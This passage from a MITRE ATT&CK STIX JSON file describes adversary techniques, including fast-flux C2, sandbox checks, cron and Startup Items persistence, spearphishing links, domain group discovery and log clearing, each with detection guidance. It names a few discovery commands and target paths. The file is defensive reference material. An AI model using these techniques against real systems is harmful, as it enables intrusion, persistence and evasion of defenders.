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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "Windows Registry: Windows Registry Key Creation",
                "Driver: Driver Load",
                "Service: Service Modification",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
            "created": "2020-03-11T14:11:16.560Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/001",
                    "external_id": "T1568.001"
                },
                {
                    "source_name": "MehtaFastFluxPt1",
                    "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref"
                },
                {
                    "source_name": "MehtaFastFluxPt2",
                    "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
                },
                {
                    "source_name": "Fast Flux - Welivesecurity",
                    "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
                    "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
                }
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            ],
            "modified": "2025-04-25T14:46:09.378Z",
            "name": "Fast Flux DNS",
            "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
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                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "created": "2020-03-06T20:57:37.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/001",
                    "external_id": "T1497.001"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                },
                {
                    "source_name": "McAfee Virtual Jan 2017",
                    "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.",
                    "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:16.253Z",
            "name": "System Checks",
            "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Deloitte Threat Library Team",
                "Kostya Vasilkov"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "created": "2019-12-03T14:25:00.538Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/003",
                    "external_id": "T1053.003"
                },
                {
                    "source_name": "CloudSEK ESXiArgs 2023",
                    "description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "modified": "2025-04-15T19:58:16.429Z",
            "name": "Cron",
            "description": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)",
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                    "phase_name": "execution"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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                    "phase_name": "privilege-escalation"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.  \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Creation",
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "created": "2020-02-21T21:15:06.561Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1069/002",
                    "external_id": "T1069.002"
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:22:08.417Z",
            "name": "Domain Groups",
            "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.",
            "kill_chain_phases": [
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                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Harshal Tupsamudre, Qualys",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Group: Group Enumeration",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
            "created": "2020-10-15T02:59:38.628Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/006",
                    "external_id": "T1588.006"
                },
                {
                    "source_name": "National Vulnerability Database",
                    "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.",
                    "url": "https://nvd.nist.gov/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:19:21.267Z",
            "name": "Vulnerabilities",
            "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "created": "2020-03-02T19:15:44.182Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/002",
                    "external_id": "T1566.002"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                },
                {
                    "source_name": "Netskope Device Code Phishing 2021",
                    "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.",
                    "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"
                },
                {
                    "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "Optiv Device Code Phishing 2021",
                    "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.",
                    "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"
                },
                {
                    "source_name": "SecureWorks Device Code Phishing 2021",
                    "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.",
                    "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:10:41.326Z",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \u201cconsent phishing\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther",
                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
                "Kobi Haimovich, CardinalOps",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "Identity Provider",
                "Office Suite"
            ],
            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1165",
                    "external_id": "T1165"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "modified": "2025-04-25T15:15:18.749Z",
            "name": "Startup Items",
            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
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                {
                    "kill_chain_name": "mitre-attack",
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                {
                    "kill_chain_name": "mitre-attack",
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                }
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
            "created": "2020-01-28T17:11:54.034Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/002",
                    "external_id": "T1070.002"
                },
                {
                    "source_name": "Linux Logs",
                    "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.",
                    "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/"
                }
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            ],
            "modified": "2025-04-15T21:56:45.103Z",
            "name": "Clear Linux or Mac System Logs",
            "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs\n",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
            "created": "2020-02-20T15:37:27.052Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/004",
                    "external_id": "T1499.004"
                },
                {
                    "source_name": "Sucuri BIND9 August 2015",
                    "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.",
                    "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T21:50:12.334Z",
            "name": "Application or System Exploitation",
            "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137",
                    "external_id": "T1137"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "TechNet O365 Outlook Rules",
